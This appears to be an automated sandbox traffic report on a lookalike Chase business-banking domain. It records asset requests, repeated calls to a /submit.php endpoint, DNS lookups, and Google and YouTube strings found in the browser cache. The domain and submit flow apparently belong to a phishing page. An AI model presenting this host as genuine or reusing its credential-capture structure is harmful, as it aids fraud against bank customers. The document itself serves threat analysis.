Source: global traffic	HTTP traffic detected: GET /content/css/loader_big.css HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/css/loader.css HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/css/main.css HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/js/jquery3_3_1.min.js HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/js/main.js HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/js/main.js HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/js/jquery3_3_1.min.js HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/wordmark-white.svg HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://online.access.secure001.chase-business.com/content/css/logon.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/background.desktop.90018.jpeg HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/fonts/opensans-regular.woff HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://online.access.secure001.chase-business.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/fonts/opensans-bold.woff HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://online.access.secure001.chase-business.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/fonts/opensans-semibold.woff HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://online.access.secure001.chase-business.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/wordmark-white.svg HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/fonts/dcefont.woff HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://online.access.secure001.chase-business.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://online.access.secure001.chase-business.com/content/css/blue-ui.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/background.desktop.90018.jpeg HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/chasefavicon.ico HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=ft3_auKYdOmwtta67v9Ln1tCJLnBLXSR_kBjLSyysgp_j0uX1GSIzCUHdtri4jwe5AHuoum3fh908mhF7j3D2oigQ4bbygoILw8PY5GLVgfNyPJz-QB5WQepBASh8Px_cGj_E96CBVqjkbWN8DeK5Lr1JQ581uxFm5e5Kh-ucCQ7AzdfcB8FpFllqrfESbY
Source: global traffic	HTTP traffic detected: GET /submit.php HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/chasefavicon.ico HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /submit.php HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /submit.php HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /submit.php HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /submit.php HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e

Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: Cf=y(["https://sandbox.google.com/tools/feedback/"]),Df=y(["https://www.google.cn/tools/feedback/"]),Ef=y(["https://help.youtube.com/tools/feedback/"]),Ff=y(["https://asx-frontend-staging.corp.google.com/inapp/"]),Gf=y(["https://asx-frontend-staging.corp.google.com/tools/feedback/"]),Hf=y(["https://localhost.corp.google.com/inapp/"]),If=y(["https://localhost.proxy.googlers.com/inapp/"]),Jf=U(lf),Kf=[U(mf),U(nf)],Lf=[U(of),U(pf),U(qf),U(rf),U(sf),U(tf),U(uf),U(vf),U(wf),U(xf)],Mf=[U(yf),U(zf)],Nf= equals www.youtube.com (Youtube)
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: a.PR)==null?void 0:(v=t.PX)==null?void 0:v.g5)&&q.length>0&&(c.length_seconds=dta(q[0]))}}B(this.context.ka(),192,!1)&&a.UT&&a.UT.dea===Ww.AVAILABLE&&(c.videoStoryboard=JSON.stringify(bta(a.UT)));return c};var Vcc=function(a){fM.call(this,a.oa());this.context=a;this.L=new yg};P(Vcc,fM);Vcc.prototype.D=function(){return"onYouTubeIframeAPIReady"};Vcc.prototype.H=function(){var a=gJ(this.context.ka())\|\|new eM;return qQa(A(a,1,"https://www.youtube.com"),"iframe_api")};Vcc.prototype.C=function(){return xk("YT.Player",this.oa().getWindow())};Vcc.prototype.Eg=function(){return this.L};var Wcc=new Gd("hrvDb","hrvDb");var Xcc=function(){iy.apply(this,arguments)};P(Xcc,iy);var yj={};var rO=function(a){yg.call(this);var b=this;this.context=a;this.D=null;this.R=!1;this.F=0;this.J=null;this.ta(this.context);var c=a.ka();a=a.oa();PI(c)\|\|og(c,83);this.H=new aHb;var d=Ycc(c);dHb(this.H,d,function(){return cgb(d)});cHb(this.H,d);this.handler=new ix(this);this.ta(this.handler);this.C=new HWb;this.ta(this.C);Zcc(this,c,a);$cc(this);var e=$h(c);this.Vb&&e&&(this.context.get(oF).start(),this.Vb.Db({ha:1}),Rsa(hRa),(c=Hi(c))&&this.context.get(oF).setEnabled(!!B(c,18,!1)));this.root=(c=Hf(this.context, equals www.youtube.com (Youtube)
Source: chromecache_127.2.dr, chromecache_99.2.dr	String found in binary or memory: function X(a,b){this.v={};this.playerInfo={};this.videoTitle="";this.j=this.g=null;this.h=0;this.m=!1;this.l=[];this.i=null;this.A={};this.options=null;if(!a)throw Error("YouTube player element ID required.");this.id=qa(this);b=Object.assign({title:"video player",videoId:"",width:640,height:360},b\|\|{});var c=document;if(a=typeof a==="string"?c.getElementById(a):a){W.yt_embedsEnableRsaforFromIframeApi&&tb();c=a.tagName.toLowerCase()==="iframe";b.host\|\|(b.host=c?mb(a.src):"https://www.youtube.com");this.options= equals www.youtube.com (Youtube)
Source: chromecache_127.2.dr, chromecache_99.2.dr	String found in binary or memory: function tb(){var a=new rb,b=["https://www.youtube.com"];b=b===void 0?qb:b;oa(function(c){switch(c.g){case 1:return C(c,sb(),2);case 2:if(!c.m){c.g=3;break}return C(c,Promise.all(b.map(function(d){var g;return oa(function(k){if(k.g==1)return k.l=2,C(k,navigator.permissions.query({name:"top-level-storage-access",requestedOrigin:d}),4);k.g!=2?(g=k.m,g.state==="prompt"&&a.g.push(d),k.g=0,k.l=0):(k.l=0,k.i=null,k.g=0)})})),4); equals www.youtube.com (Youtube)
Source: chromecache_114.2.dr	String found in binary or memory: var scriptUrl = 'https:\/\/youtube.googleapis.com\/s\/player\/03dbdfab\/www-widgetapi.vflset\/www-widgetapi.js';try{var ttPolicy=window.trustedTypes.createPolicy("youtube-widget-api",{createScriptURL:function(x){return x}});scriptUrl=ttPolicy.createScriptURL(scriptUrl)}catch(e){}var YT;if(!window["YT"])YT={loading:0,loaded:0};var YTConfig;if(!window["YTConfig"])YTConfig={"host":"https://www.youtube.com"}; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: online.access.secure001.chase-business.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 906sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: https://drive.google.comX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://drive.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=r8Lq2ANzwuDflYRM6TeLgv9nC-9gIuccZxxfGlxlt1WpLJ7GfT7p0V9HZqluJ4fRnA0IqTIvqRVqf3Vdrbw_qwVJ5ZM8ihn0ugFsH0ifT4aUR2ixD7WkAQX-dgGIs9KQBp8sjt5C6w7DIHs2CeckMWikOvdmxkZYzDQD-hTooaOfLlqpgVvHY_0

Source: chromecache_93.2.dr, chromecache_139.2.dr, chromecache_135.2.dr, chromecache_149.2.dr	String found in binary or memory: http://csi.gstatic.com/csi
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: http://localhost.corp.google.com/inapp/
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: http://localhost.proxy.googlers.com/inapp/
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: chromecache_109.2.dr, chromecache_144.2.dr	String found in binary or memory: http://www.bohemiancoding.com/sketch
Source: chromecache_109.2.dr, chromecache_144.2.dr	String found in binary or memory: http://www.bohemiancoding.com/sketch/ns
Source: chromecache_139.2.dr, chromecache_98.2.dr, chromecache_102.2.dr, chromecache_149.2.dr	String found in binary or memory: http://www.broofa.com
Source: chromecache_93.2.dr, chromecache_135.2.dr	String found in binary or memory: https://accounts.google.com/gsi/ottoken
Source: chromecache_135.2.dr	String found in binary or memory: https://accounts.google.com/o/fedcm/config.json
Source: chromecache_135.2.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_135.2.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/iframe
Source: chromecache_146.2.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chromecache_146.2.dr, chromecache_98.2.dr, chromecache_102.2.dr	String found in binary or memory: https://apis.google.com
Source: chromecache_149.2.dr	String found in binary or memory: https://apis.google.com/js/api.js
Source: chromecache_139.2.dr, chromecache_124.2.dr, chromecache_149.2.dr, chromecache_129.2.dr	String found in binary or memory: https://apis.google.com/js/client.js
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://apps-drive-picker-dev.corp.google.com/picker/minpick/main
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://asx-frontend-autopush.corp.google.co.uk/inapp/
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://asx-frontend-autopush.corp.google.co.uk/tools/feedback/
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://asx-frontend-autopush.corp.google.com/inapp/
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://asx-frontend-autopush.corp.google.com/tools/feedback/
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://asx-frontend-autopush.corp.google.de/inapp/
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://asx-frontend-autopush.corp.google.de/tools/feedback/
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://asx-frontend-autopush.corp.youtube.com/inapp/
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://asx-frontend-autopush.corp.youtube.com/tools/feedback/
Source: chromecache_129.2.dr	String found in binary or memory: https://asx-frontend-staging.corp.google.com/inapp/
Source: chromecache_129.2.dr	String found in binary or memory: https://asx-frontend-staging.corp.google.com/tools/feedback/
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://asx-help-frontend-autopush.corp.youtube.com/inapp/
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://asx-help-frontend-autopush.corp.youtube.com/tools/feedback/
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://calendar.google.com/calendar
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://clients5.google.com
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://clients5.google.com/webstore/wall/widget
Source: chromecache_93.2.dr, chromecache_146.2.dr, chromecache_135.2.dr	String found in binary or memory: https://clients6.google.com
